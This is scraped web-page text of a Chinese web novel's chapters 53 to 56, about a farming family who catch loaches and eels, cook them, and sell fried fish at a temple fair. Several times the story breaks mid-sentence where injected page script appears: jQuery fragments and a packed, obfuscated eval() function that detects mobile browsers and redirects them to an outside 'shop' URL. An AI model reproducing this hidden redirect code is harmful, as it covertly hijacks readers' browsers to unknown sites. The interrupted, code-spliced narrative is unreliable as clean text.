$(''.inform'').remove(); $(''#content'').append('' p> 没有白糖，先弄点白开水喝吧。 姜宁哎了一声，去喊杨家姐弟几人。 种了一日地，确实累得慌，但更让人心痒痒的是，那三个小破孩，不时传来的欢喜的叫喊和跑了鱼儿的惋惜惊叫。 她们都是大人了，要做正事种田，不好和小屁孩一般玩耍。 四人听到姜宁说收工回家，立马丢了锄头，去加入小屁孩们叉鱼大业，自发的按照顺序一人叉三次。 不愧是半大的孩子，手脚麻利，筲箕下去，干脆利落的抬起来，小鱼儿少有逃走的。 这不，一轮下来，已经抓到二十多条泥鳅。 姜宁在旁观战，筲箕轮到杨达青手里，她个子高，寻了个大沟，两脚劈开在沟边的两侧，弯腰把筲箕叉到底，快速的压着水草，从沟边一侧挤着上来，一看便知，这一筲箕下去，收获颇丰，已经能看到筲箕里不停游动挣扎的黑灰色身影。 等水漏空，大家定睛一看，除了黑色的泥鳅，还有一条长约两寸，粗如脚拇指的黑黄色的水蛇。 杨青达吓得嗷一声，把筲箕甩到一片空地上，腿软得几乎掉到水里，幸好姜宁在旁边拉了一把，大家作鸟散开，垫着脚尖，战战兢兢看着在空地草丛里跳跃乱钻的蛇，又怂又好奇。 姜氏听到叫喊，挥着锄头扑过来，护着孩子们到身后，看清草丛里的黑影后，哈哈一笑：“不怕不怕，这是黄鳝，不会咬人，我们抓回去煮了吃！” 丢了锄头，双手按住挣扎扭曲的黄鳝，抓到了篮子里。 听到不会咬人，大家欢快的围上来，剩下的十多个泥鳅，一拥而上，捏到手心中后，放回篮子。 姜氏也不加班了，收拾了东西，带着孩子们一起回家，万一路上真遇到蛇，孩子们不得吓坏！ 到家的姜氏忙着去砍竹子，杨家姐妹送猪草回去喂猪，姜宁打发苏慎跟着去，必须把人叫回来吃晚饭。 姜宁看着篮子里半木盆的泥鳅和黄鳝，还有些小鱼儿，一顿吃不完，寻了个木盆养着泥鳅，明日吃。今晚只吃小鱼儿和黄鳝肉。 她先挤掉鱼内脏，炸了小鱼儿，烧了个基础版的毛血旺，还焖了整整一锅米饭。 杨家六姐妹和姜家三人围坐在桌子边，把小小一张桌子挤得满满的。 中间桌子上是一大盘红彤彤的毛血旺，杨达青尝了一口，味道比中午吃的还要好。 血旺入口即化，麻辣多汁，鳝鱼嫩滑鲜香，没有半点土腥，豆芽脆爽，青笋脆甜，美味下饭，吃得酣畅淋漓。 哦，吃饱了，再尝一尝不屑一顾的炸小蚂鱼，咦，姜家的小蚂鱼和他们平时做的不一样，竟香酥可口，没有苦涩味。 吃饱饭，杨达青准备收拾碗筷，被姜宁按住，手里被塞了一碗炸小蚂鱼。 姜宁絮叨：“这是我留在柜子里，给你带回去，还热乎呢，让杨婆婆尝尝味道，我知道婆婆爱喝米酒，配上这个，绝对吃得停不下嘴。 明日我做豆腐泥鳅，你们早些过来吃哦！” 53. 第 53 章 姜氏又忙着劈竹子片竹篾，家里要啥没啥，先编两个背篓，一对箩筐，自家有用，免得日日找杨家借。 苏慎提着叉鱼的筲箕，到姜氏面前比划：“阿娘，在筲箕上加一条竹棍绑上去！ 这样，我抬着竹棍直接叉鱼，不用两只脚劈在沟两边弯腰。” 姜宁听了出主意：“再加两根小的，形成三角形，这样筲箕稳定，不会翻转！ 而且，抓到鱼在筲箕里，他们手捏着竹竿。万一真鱼里混了蛇，离着筲箕有一段距离，不担心被蛇咬到！” 姜氏放下手里的活，依他们的要求，用绳子绑了一根长竹竿在筲箕上，两根短竹子上去固定。 姜宁垫了掂，抬着竹竿可以直接叉鱼，不用两只脚劈叉在沟沟两边，还行，就是有一些费力。 空的她用挺合适，苏慎用的话，有些偏重了，再加上水，莫把人坠到水里头去。 若能把筲箕，换成渔网，效果肯定更好。 她想了想，之前路上渔民王家的渔网，被他们抓野猪挣坏了，破了好些大洞。后来赔了钱给他家。坏掉的渔网，没有丢，主要是野外没地方丢，担心不小心缠住不懂事的小动物，被她顺手塞到麻袋里。 她去到灶房，提着麻袋倒出来，滚出半袋子土豆，还混了几个紫葱头，最底下是破破烂烂的渔网。 姜宁拿着破洞渔网，回到院子里，让姜氏用竹子做了个框架，类似“平”字少下面那一横。 渔网剪出一块稍微完整些的，用针线固定在框架的头部三角形上。再把破了的洞洞稍微用针线串起来，这样，一个简陋的叉鱼网便做好了。 她抬着试了试，手感很轻，保证苏慎也能抬得动。 嘿嘿，现代鱼抄网入口都是不锈钢三角形的，竹子硬度不够，一用力，入口就塌了，干脆把主杆伸出去加大支撑力度。 好了。 她把鱼叉网递给苏慎：“诺，给你，你领着他们明日多多抓些鱼回来！” 苏慎抱着鱼叉网爱不释手，举着鱼叉网在空中胡乱比划，接连保证：“阿姐，你放心，我保证捉十条黄鳝回来，让你吃个够！” 他看到了，今晚的毛血旺里，总共一条鳝鱼，每人分到一片肉就没了，阿姐的那片被她悄悄藏了，估计省着给臭猫吃。 臭猫好讨厌，有了臭猫，阿姐都省着给它吃肉，自己不够吃。 而且，他还逮到臭猫扇小鸡的巴掌，欺负自己小鸡。 可是，黄鳝肉真的很好吃诶，没有刺，细嫩鲜美，他要阿姐也尝尝。 小小的苏慎，暗暗下决定，明日不斗草斗花了，打完猪草，立马抓鱼，一定要多多抓些黄鳝回来，让阿姐和阿娘吃得饱饱的。 姜宁失笑，黄鳝天生地长，能抓到一条，运气较好了，又不是自己养的，哪里去抓那么多。 主要是抓些小蚂鱼回来，炸的香香的，家里添个菜，也多个肉。 看着苏慎眼里冒光的模样，她不由自主眉眼跟着弯了弯。 看到地上那堆破破烂烂的渔网，转而想到，每个小孩都喜欢抓鱼的吧，要是把这些破渔网，弄成迷你小网兜，再把泥鳅弄去，在庙会上摆摊哄小孩儿抓鱼，能不能赚到些小钱呢？ 说干就干，她磨着姜氏，用竹片扎了二十个小碗口大的小圈，自己用石头打磨光滑，然后从破烂渔网中，挑挑剪剪，凑出了二十个小网兜，先用针线缝上去一个，歪歪扭扭的。 然后去养泥鳅的木盆里试了试，一下去，便舀到一满兜泥鳅，黏腻光滑的黑泥鳅在网兜里拥挤蹦跶。 不行，太容易了。 她想了想，把网兜拆了，绷得紧紧的，重新缝上去，再次试了一次，因为小网兜中间只有一点点凹陷，这次只能抓到一两条泥鳅，剩下的都跳走了，成了！ 还要找装泥鳅的小桶。 木桶老贵了。 姜宁把主意打到竹筒上。 用大竹筒，完全可以替代小桶嘛，自己真是个天才。 等明日回来，跟着姜氏去竹林，寻个合适的大竹子，再砍几根小竹棍回来做网兜手柄，姜宁美滋滋计划。 姜氏睡前，去灶间看了看，只有个垫子，孤零零的在烟道上头，碗里两只小鱼和一片黄鳝肉没动，哎，阿拽还没回来呢！ 次日一早，姜宁没有叫醒姜氏，早早起来做饭。 灶房里小茶炉里落了许多柴灰，旁边一个编好的大竹背篓，竹子需要弯曲的地方，要在火上烤，想来姜氏熬到深夜才编好的吧。 烟道上头的垫子上，阿拽合眼趴着，碗里的小鱼儿和黄鳝肉都没了，肯定是被它吃了。 姜宁暗搓搓探手想去摸阿拽的脑袋，手掌离它还有一寸距离，阿拽立马睁开眼睛，冷冷看了她一眼。 姜宁讪讪缩回手。 阿拽满意的翻个身，继续睡觉！ 姜宁：“……” 自己还可以再怂一些么。而后安慰自己，算了，万一惹毛了它，人家不回来了。 姜宁做了一番心理建设，心急吃不下臭豆腐嘛，慢慢来，总有撸猫那一天。 调整好心态，心态平和先去看泥鳅，稍微碰了下盆，水波震动，泥鳅受惊后乱钻乱跳，在盆底快速的游动。 泥鳅是一种很好的蛋白质，补气宜血，常见做法有两种。 第一种是冷水放一块豆腐，活煮泥鳅，随着水温的升高，泥鳅怕热，自动钻到豆腐里。 姜宁对此嗤之于鼻，泥鳅不洗，不去内脏，怎么吃，一股子腥味，这种做法，全是猎奇噱头。 她用的是第二种做法，先煎熟，再煮。 她把木盆的水倒走，然后洒了一勺粗盐，泥鳅激烈挣扎，身体分泌出一层粘液后渐渐不动，用这种方式快速杀死泥鳅。 之前开私房菜馆，是撒入面粉洗干净粘液，现在可不敢浪费面粉，十五文一公斤，比泥鳅珍贵多了。 她抓了小茶炉下出口里，细腻的草木灰拌入盆里，能很好的吸附杂质脏污。 然后用清水冲洗干净泥鳅，再用姜氏的片刀在泥鳅肚子上哗啦一下，挑走内脏丢掉。 泥鳅便杀好了。 用清水冲洗干净。 锅里先焖一锅饭，放在大陶碗里，腾空铁锅。 热锅下油，油化后把多余的油倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173208|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回油缸，倒入泥鳅小火慢煎，等断口处的泥鳅肉颜色，由血红变白，翻面再炸，直到两面金黄，然后加入一瓢热水，改大火煮沸一炷香，汤汁变得浓白，打入豆腐，土豆条，青笋条，白菜片，煮熟，撒细盐调味，少许胡椒粉，花椒粉去腥增香，然后撒入葱花，泥鳅豆腐，便做好了。 姜氏和苏慎起床刷好牙，姜宁打发苏慎去叫杨家六姐妹。 昨日说好的，泥鳅是她们一起抓的，必须一起吃饭。 杨家六姐妹来了，不过，另带了一人，是村长家的孙女，阿慧。 她笑盈盈走进院子，询问姜氏：“姜姨，我阿婆让我来问问你们，我家牛闲着，你会赶牛不，若是会，可以赶着去种地，能快一些！” 姜氏大喜，自然需要的。 有了水牛在前头开路，不知道要省掉多少力气。 姜氏立马从锅里舀了一碗泥鳅豆腐，用篮子装了递给她：“昨日去种地，孩子们从水沟里抓的，煮了个汤，吃个野趣，豆腐软嫩不费牙，你带回去给村长尝尝。” 姜竹慧诶一声：“姜姨，那你们吃完饭过来牵牛，我都在家的。” 等她走了，杨达青姐妹几个才吭声，拍拍胸口道：“阿慧姐平日很严肃的，我们看到她都不太敢说话。” 有点阿慧眼高于顶的意思在里头。 姜宁笑笑，不愿意评价他人：“怎么会呢，我觉得阿慧姐人很亲和啊，可能大家不太熟。” 说着岔开话题，“阿慎，快把我们昨日做出的鱼叉网拿出来，给她们瞧瞧，今日我们肯定能抓更多鱼。” 鱼叉网拿出来，大的还好，两个小的，开始争夺起来。 杨达青太阳穴突突的跳，五弟六妹年龄相仿，日日打架，在家打，来到姜家也不消停。 她一人屁股上甩了一巴掌，然后威胁：“昨日一般的规矩，一人叉三次，谁要耍赖，不准他吃饭！” 姜宁适时塞一碗豆腐泥鳅汤给两个小的：“莫要抢了，快吃饭，我熬了一早上，老香了！” 苏慎带着两个，坐在桌子边吃饭。 杨家五弟杨达强，六妹杨达橙，夹了一个泥鳅到嘴里，立马被泥鳅的香浓鲜嫩所吸引，忘记了抽泣，连连保证，一定听话守规矩。 然后头埋在碗里，大口大口吃，泥鳅鲜香嫩滑，白汤浓稠鲜美，他们要天天来姜家，做姜家的小孩，和姜家一起吃饭。 吃过饭到了地里，姜氏教会姜宁赶牛，在前头开路，杨家四弟杨达坚，在后面播种覆土，姜氏和三妹一组，杨达青和二妹一组，种地更快捷一些，加上昨日的，整整播种了三亩，这样下去，二十天，她们就能把所有的地种上。 因带的种子播完，离天黑还有段时间，姜氏先回去砍竹子，姜宁和杨达青几人，在水沟里到处叉鱼。 用叉鱼网最利索的是二妹杨达蓝，她握着竹竿，快速把叉鱼网插到沟底淤泥里，然后用力抬起来，哗啦翻倒在一边的空地上，几个小的，就尖叫着去抢按活蹦乱跳的泥鳅，或者小蚂鱼。 最后回家时，除了泥鳅，小蚂鱼，还舀到了十条黄鳝！ 可以做黄鳝吃啦！ 54. 第 54 章 回到家，姜宁开始做饭。 小蚂鱼去除内脏后油炸，泥鳅倒在木盆里静养吐泥，黄鳝祛除骨头，连血水一起和韭菜黄姜小米辣爆炒，因鳝鱼有点少，姜宁单独煎炸紫葱土豆条，青笋条，熟了后打底，在上头倒入韭菜鳝鱼，然后微火慢炖，做成干锅鳝鱼。 做好饭，姜氏背着一背篓青草，用篮子提了一碗干锅鳝鱼，先去村长家还牛。 天色变黑，村长到院子口看了好几次。心悬在空中，难道她看错了，姜家人下死劲用自家的牛？ 她看到姜氏，立马扫一眼自家水牛，老伙计哞一声，快活甩着尾巴赶苍蝇，肚子鼓鼓的，一看就知道被照顾得很好，她的心落回肚子。 姜氏把篮子递给一旁的阿慧，搀扶着村长的手臂进屋：“姨，你家牛老温顺了，又能干，帮我们好大的忙。” “我们今日早早把带去的种子种完，我去后山砍竹子，大家还没开始做饭呢！ 孩子们在水沟里抓鱼摸虾，把牛拴在地头吃草，天快黑了才回来。 这不，抓到十条鳝鱼，做了出来，你们也尝尝。” 姜氏快言快语解释来晚的原因，顺便说明自家很珍惜牛，没有胡乱压榨牛力。 村长检查完牛状态很好，面色回转，看到她背篓里的青草，面色越发慈祥，待听完她的话，责备里带着亲昵：“你呀，只管牵牛去种，早些种完地正经！ 这样，明日，我让阿慧和她几个兄弟姐妹，一起去，早些完工，莫误了时节！” 村长三言两语拍板，定下自家孙子孙女去帮忙。 姜氏愕然了一下，然后婉拒：“不妥不妥，哪能劳烦他们！” 村长嘿一声：“左右他们闲着无事，日日在家吵闹，不如去里挥洒汗水！” 农家怎么会闲着无事呢，除了种地，还要除草，抓虫，割猪草，上山砍柴，若要做，每日都有干不完的活。 推拒了两次，村长坚持。 姜氏不再拒绝，感激的答应，约好让几个孩子，明日天亮到家，吃过早饭再下田。 在村子里，是人情社会，你帮我，我帮你，一般管两顿饭，不给工钱。 大家互相欠人情账，要是过分拒绝，融不进去这个圈子。 回到家，姜宁苏慎陪着杨家已经吃过饭，杨家姐妹家去了。 姜宁从锅里端出一盘提前留给她的干锅鳝鱼，一大碗饭，盘子几乎堆满了鳝鱼，米饭粒粒分明，冒着热气。 姜氏尝了一块，鳝鱼段香辣嫩滑，上头裹着鳝鱼血， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178113|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑红润滑，咽到肚子里，立马感觉一股子热气，顺着全身游走，暖烘烘的，像泡在温泉中。 一直听说鳝鱼血大补，原来是真的。 吃饭完，一日的劳累好似被那些热气冲走。 姜氏放下碗筷，满足打了个嗝。 说起村长家六个孩子，明日过来帮忙，有些惆怅，明日的饭菜该如何安排。 姜宁想了想道：“阿娘，家里油见底了，只够一日用，明日用泥鳅，再抓些小鱼对付一天，后日庙会，我们不下地了，修整一天。 一来去庙会摆摊试着赚点钱买肉熬油，二来，天天下大力气种田，松散一天，免得伤了身子。” “为啥大家都觉得我做的菜好吃，那是因为我舍得放油，放调料，特别是小鱼泥鳅鳝鱼，要是油不够，压不住土腥味的！” “大家帮我们种地，我们也要让他们吃饱吃好才是，该花的钱，不能省。” 姜氏点头道是，按照姜宁的要求，做了二十个竹筒，绑了小竹棍，而后，开始编箩筐。 她编的竹器，手艺一般，家里没大锅，竹器没经过蒸煮，卖不上价，现在不管这些，能换几文是几文。 都怨二姐夫，好好的，借什么高利贷！害得她们现在，紧巴巴的。 55. 第 55 章 有了村长家六个孩子，杨婆婆家六个孩子，水牛的帮忙，姜氏，姜宁一起种了一天，累计播种了五亩地，已经去掉六分之一。 今日是初一，大庙会，四里八乡的乡民来赶庙会。 一大早，苏慎扛着鱼网叉去杨婆婆家找杨家六个孩子去叉鱼，现在是枯水期，大河里水位降了许多的，小河小沟里有半洼水，最多到大人膝盖，只要不去大河，不会被水淹到。 姜氏挑着箩筐，姜宁背着背篓，到庙会上摆摊。 到了庙会，找登记的小和尚缴纳了一文的摊位费，小和尚领着两人到了庙会尾巴的位置上。 越走离主道越远，姜氏不乐意了，拉着小和尚询问：“喂，小师傅，为什么我们的摊位这么远，那些近处的，不是空的吗，我们就去那里呗！” 姜氏随手指了下主路旁边，还空着的一个摊位。 小和尚头摇得拨浪鼓一般：“不可不可，主路附近是经年摆摊的摊贩，他们年初缴纳一年摊位费，你们新来的，或者只临时摆一下摊，都在后面，这是长久以来的规矩！” 姜氏就不是讲规矩的人，低声诱导：“左右那里空着，我们就在这摆呗，小师傅，你通融一下，我给你买炊饼！” 小和尚听了这话，如临大敌，远远跳开，如避蛇蝎，瞪着她：“婶子莫要害我，要是师傅知晓了，必撵走我。” “这个摊位是米酒木家的，他们运米酒不便，来得迟。当然，也可能有事，今日来不来我不清楚。反正这个摊位是他家的，其他人不能用。 你们要么去尾巴那边的摊位，要不愿意，去镇上摆摊，也可以，我退你们摊位费。” 说着低头在钱袋里找她给的一文钱。 姜宁按住他的手：“不退钱，我们按你的安排，就去尾巴那儿！” 小和尚耍开她的手，面皮胀得通红，气急败坏：“快些走！” 要命，男女授受不清，这女子好生无礼，他把人带到地方，狠狠瞪一眼姜宁，三步做两步跑远了。 姜宁和姜氏莫名其妙对视一眼，不明白小和尚气鼓鼓些什么。 姜氏若有所思：“这小屁孩和阿慎一般大小，可能不喜欢吃味道寡淡的炊饼，喜欢吃香的，过会把他叫过来，给他一把小鱼酥，保证他主动把我们换到前面的位置！” 姜宁哦了一声，把小和尚丢在脑后，开始摆摊。 她把大木盆摆在摊位中间，里头从河里挑两桶水倒满，然后倒入一盆泥鳅。 泥鳅瞬间四散逃开。 她又在水里丢几缕芭蕉叶漂在水面，遮挡阳光，逃走的泥鳅自发躲到芭蕉叶下。 围着木盆摆放一圈大竹筒，和小漏网。 然后箩筐翻转，上头摆放两大竹筒油炸小蚂鱼，一种五香味，一种麻辣味。 一种口味取了十条放在前面的陶碗里，插了竹签，可以试吃。 姜氏帮着摆好摊位，翻倒背篓，让姜宁坐着，自己去卖编织好的两对筲箕。 一刻钟后，姜氏去而复返，手里筲箕已经没了，她嘴角上扬，晾了晾手心的铜板：“还成，得了十六文！” 竹子不要钱，她费些力气手工。 姜氏觉得值，姜宁却觉得卖便宜了，一对筲箕，要编一晚上，忒费工了。 姜氏瞟一眼摊位，上扬的嘴角掉了下来：“没人来啊？” 右边摊位，是个卖自家韭菜的婆婆，整齐码放好韭菜后，撒了点水，用个大芭蕉叶盖着韭菜，然后一屁股坐在草地上，悠闲到处张望。 左边摊位是个卖香烛纸钱的婶子，只初一，十五大庙会时，来摆摊。 几个人坐着闲话，韭菜婆婆不时掏出腰间小葫芦，抿一小口米酒，咂摸下嘴巴，然后继续微醺的看着主路那边人来人往，打了个小酒嗝：“前头摊子卖完了，人们自然就过来啦，莫急莫急。” 香烛婶子下完自家货物，两个箩筐倒扣在草地上，展一个竹帘，再上头铺一张灰色麻布，分门别类摆好自己的白纸钱，黄纸钱，金纸，银纸，红香，绿香，红蜡烛，白蜡烛等物。 然后开始吆喝：“纸钱香烛，纸衣纸裤，便宜种类多，大家快来看看！” 好家伙，左右邻摊位完全不同的态度啊，她们怎么办？ 是顺其自然，还是吆喝一下？ 顺其其然，到现在还没人来呢。 要不，学着香烛婶子样子，吆喝一下。 姜宁张了张嘴：“舀泥鳅咯，舀泥鳅咯，舀泥鳅送小酥鱼！” 听到送小酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183877|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼，韭菜婆婆微醺询问：“怎么送啊？” 姜宁解释：“用布条蒙着眼睛，用盆边的小网舀泥鳅一炷香，舀到几条泥鳅，便送几条鱼儿！” “玩一次三文钱，很划算的，婆婆要不试一试，我家小鱼儿，油炸得酥酥的，还放了香料，味道香极了，和米酒是最佳搭档。” 婆婆看一眼小鱼，她不想舀泥鳅，她只想尝尝米酒的最佳搭档。 可是钱袋空了。 韭菜婆婆嘿嘿一笑：“我的韭菜三文一把，我不舀泥鳅，用来换小鱼，你看着给，如何？” 姜宁：“……” 好吧。 她在家算过账，小蚂鱼苏慎他们抓的，不要钱，菜油一百文一公斤，油炸一公斤小蚂鱼需半公斤油，油过滤后还能用，少掉一两，便是十文，调料三文左右，庙会上有人卖活鱼，十五一公斤，去掉内脏等，还要更少一些。若是自己买鱼，一公斤大约成本在三十文，自己抓鱼，物料子成本能控在十五文。 她卖五十文一公斤，不过分吧，生猪肉还要六十文一公斤嘞。 姜宁解释：“婆婆，我家里也有韭菜，我其实不需要韭菜。您是第一个客人，我破例和你换一次，我家小鱼儿单卖，五十文一公斤，我给你装一两，五文钱的，您先尝一尝味，给我提提意见哈！” 韭菜婆婆连连道谢，接过姜宁递来的两包小酥鱼。 她揭开绿色的芭蕉叶，露出里面焦黄色的五香味小鱼，和亮红色香辣味小鱼，用手指尝了一个五香味的，立刻被嘴巴里香酥气息吸引，酥脆香嫩甘甜，和自己做的，完全不一样。 再尝一口香辣味，嘴巴立刻灼热起来，过后便是鱼儿的鲜甜，她忍不住度了一小口米酒，满足咂了下嘴，小口小口吃起剩下的来。 半响，她吃完，意犹未尽道：“味道好极了，我更喜欢香辣味，唯一不足就是不够吃，等我卖完韭菜，找你买哈！” 姜宁表示欢迎。 可是，除了韭菜婆婆，她吆喝半天，依旧没有人来。 准确点说，他们这边根本没人逛，有一些客人，急匆匆到香烛婶子摊位上挑选些纸钱香烛后，脚不停歇回主路径直去上香。 顺其自然，不行，吆喝，还是不行，该怎么办？ 56. 第 56 章 已经到了下午，大部分乡民上完香，三三两两闲逛后，满载而归，香烛婶子的纸钱燃香卖得差不多，价格偏贵的蜡烛也卖了十多对，韭菜婆婆的韭菜卖了只剩两三把，偏自家的泥鳅摊无人问津，小鱼儿有人好奇，但一问价格，便摇头走了。 在他们心中，这些小鱼儿水沟里天生地长，不值得花钱买。 或者最多还价二十文，因为活鱼十五文。 就像现代网上有的人抱怨，一公斤土豆三元，一盘酸辣土豆丝最多用了一个，却要十八元，痛骂饭店是黑店。 其实是因为骂人的网友，不下厨的，油盐醋火清洗炒制过程，都是成本。 姜氏看着有人开始家去，劝导：“要不，我们降些价格？” 姜宁不愿意，降价，以后想起来，就难了。 这当头，隔壁韭菜婆婆卖完韭菜，收拾好家当要去买米酒，递了五文给姜宁，让她再秤一两，她配酒吃。 姜宁用芭蕉叶包好后，递给她。 看着两包鼓鼓芭蕉叶，她改变策略。 炸熟的小鱼儿不压称，一两五十条左右，干脆不按公斤卖，按照包卖，或者按条卖，多费些叶子包。 再有问价的客人，她笑着回应： 用勺子舀，一文十条。 用筷子挑选，二文十条。 果然，改变后，大家不嫌弃贵了，花一文买几条，给孩子当个零嘴。 大部分买两文的，五香味和香辣味各一文。 姜宁卖出十多份。 不行，只小孩吃，卖不掉多少。 舀泥鳅生意估计做不成，希望能把鱼卖掉。 她用背篓背起两盆鱼，挤到米酒摊子旁边，挨个好声好气商量，请求在旁边支个位置，愿意交三文摊位钱。 米酒摊位有十家，客气拒绝，说自家摊子位置不够，让她去别处问问。 被拒绝了九次的姜宁，不气馁，揉一揉僵笑着脸，继续问最后一家米酒摊子。 卖米酒的是个脸嫩姐姐，她看一眼姜宁的背篓，占不掉多少位置，道：“你过来吧，我挪个空给你。” 年轻姐姐姓木，大家喜欢去面老些的老板摊子买米酒，觉得年轻的，酿造米酒没有年老的香醇。 木家姐姐的生意，没有其他家好。 木姐姐很淡然，斯斯文文站在那，有客询问便卖，利落装酒，没有客人来，便用块抹布，擦这里，摸那里，把小摊子收拾得干净整洁。 她把摊子挪走一桶酒，空出来的位置。刚好可以摆一只背篓。 姜宁倒扣背篓，放置木盆，开始吆喝：“米酒，香醇米酒，买米酒送小鱼儿啦，快来看，买快来买啦！” 木家姐姐侧目，感激且婉拒：“阿妹，我慢慢卖，你歇歇，费嗓子。” 米酒放不坏，卖不掉，下个庙会接着来，总有卖完的时候。 一个小空位，顺手的事情，不必如此。 姜宁笑笑，没解释。 十家摊位，米酒一样的价，不许私自降价。 客人都习惯了，讲不下价格。 姜宁一来便吆喝买酒送鱼，一下子便有人围了过来。 其他家老板，不满目光投向木萤，木萤无奈摊手，人家要送鱼，她也没办法啊。 姜宁忙着招待呼啦围绕的客人：“只要买米酒，免费送一条小鱼品尝，当然，也可以单买小鱼，一文十条，或挑拣二文十条，和米酒是最佳搭档！” “米酒香醇回甘，小鱼酥脆香嫩。” “一口米酒，一口小酥鱼，那滋味，绝了！” 左右要买米酒，一样的价，这里能吃到小鱼，不少人掏钱让木萤打酒。 木萤感激看了她一眼，忙碌收钱装酒。 买完酒的客人，姜宁笑盈盈用牙签递上一条小蚂鱼，客人尝了，滋味确实香酥可口，和米酒很搭，忍不住掏钱买上二文或五文的。 木家摊位人头攒动，木萤带来的米酒，第一次早早售空，姜宁的两筒鱼也卖完了，临走告别，姜宁数出三文摊位费递给她。 木萤拒绝，笑着邀请姜宁：“你下次庙会，来这里卖鱼吗？我给你留个位置。不用你摊位费。” 鱼和米酒一起卖，客人很喜欢呢。 姜宁道好。 走的时候，对上其他摊贩或指责，或后悔的目光，姜宁嗤笑一声，淡然离去。 她都问过了，谁都不搭理她，只有木家姐姐愿意接纳她。 这便后悔了，才哪到哪，以后有的是他们悔不当初的时候。 回到自家摊位，泥鳅在木盆里悠闲游动。舀泥鳅依旧没开张。 守摊子的姜氏瞟一眼空竹筒，呼吸粗了几分。用背篓挡着，让姜宁悄悄数钱。 带来的两盆小鱼，约莫八公斤，总共卖了三百六十文。 姜氏算了笔账，加上自己卖筲箕的十六文，今日赚到三百七十六文！ 去掉一文的摊位费，还剩三百七十五文。 她舒了口气，很好很好，家里总算有进账了。 姜宁数完钱，让姜氏看着摊子，自己去买家里紧缺的油。 菜油一公斤一百文，猪板油肉八十每公斤，两公斤一百六十文，一整个猪头约莫八公斤重一百文，因买的多，姜宁磨着卖肉的壮婶，送了一副没有肉的猪大骨头。 还买了十文的红糖。 糖价格居高不下，红糖六十文一公斤，十文讲价后，买到二两。 好了，今日赚到的钱，全部清空。 两人看着空了的钱袋，感叹，这钱是真不经花。 收拾东西回家。 回到家，姜宁架起稻草，把猪头烧黑，上头的猪毛烧干净，再用菜刀刮洗，特别是耳朵眼，鼻孔藏污纳垢的地方，切开翻洗干净。 直到天黑，才把猪头收拾清爽。 而后砍小块，放在小锅里焯水三次祛腥，打掉浮沫，捞出放凉。 锅里少量菜油，炒香调料后放水，猪大骨熬煮卤汤，再放一块红糖，猪头肉放进去小火慢卤，卤的时候要不时翻锅，免得卤糊，直到筷子能插穿肉里。 卤了三次，才把猪头肉卤完，然后换木盆连着卤汤泡着猪头肉。 下次赚到钱，一定先打一口大锅，小锅忒麻烦。 下次庙会是初五，姜氏白日带着孩子们种田，晚上砍竹子编筲箕。 吃的是白米饭，配香喷喷油津津的芫荽黄瓜凉拌卤猪头肉，酸菜炒土豆，清水煮白菜等。 脆生生的拍黄瓜，香浓脂肥的猪头肉，特别下饭。 村里半大的孩子们，馋那口吃的，打完家里猪草，都来帮忙一起种田，村头姜二婆婆家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190796|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六个孩子，村尾姜六婆婆家四个孩子，右边丁家八个孩子，合在一起，每日能种五亩田。 已经种到了十八亩。 粮食耗费也很惊人。 买的一袋子米，半袋子蔬菜，猪头肉全部吃完，捞出的小鱼小虾和泥鳅牛蛙，留了小鱼和牛蛙，剩余的泥鳅鳝鱼小虾，被姜宁做了，每家人带着回去分点。 这几日，他们还按照姜宁的要求，靠近庙会的地边缘，一起出力，挖了两个方正的坑，铺上野草，在上头并排码放竹子，形成个蹲坑，四周围上约两米高的竹篱笆，再用湿润泥把篱笆缝隙填满，做了两个露天的简易厕所。 她上次便发现了，大家想方便，要么爬山到庙里的厕所，要么四处草丛深的地方糊弄一下，很是不便。 她家最近的地距离庙会约莫四百步，不算远，弄个厕所，一来方便自己，二来方便大家，三来在地里堆肥。 初五一早，赶庙会，姜宁没带泥鳅，带了小酥鱼，卤牛蛙肉到庙会，找小和尚租借了上次的摊位，姜氏守在摊位前，姜宁直接到木萤的摊位靠边摆放了个背篓。 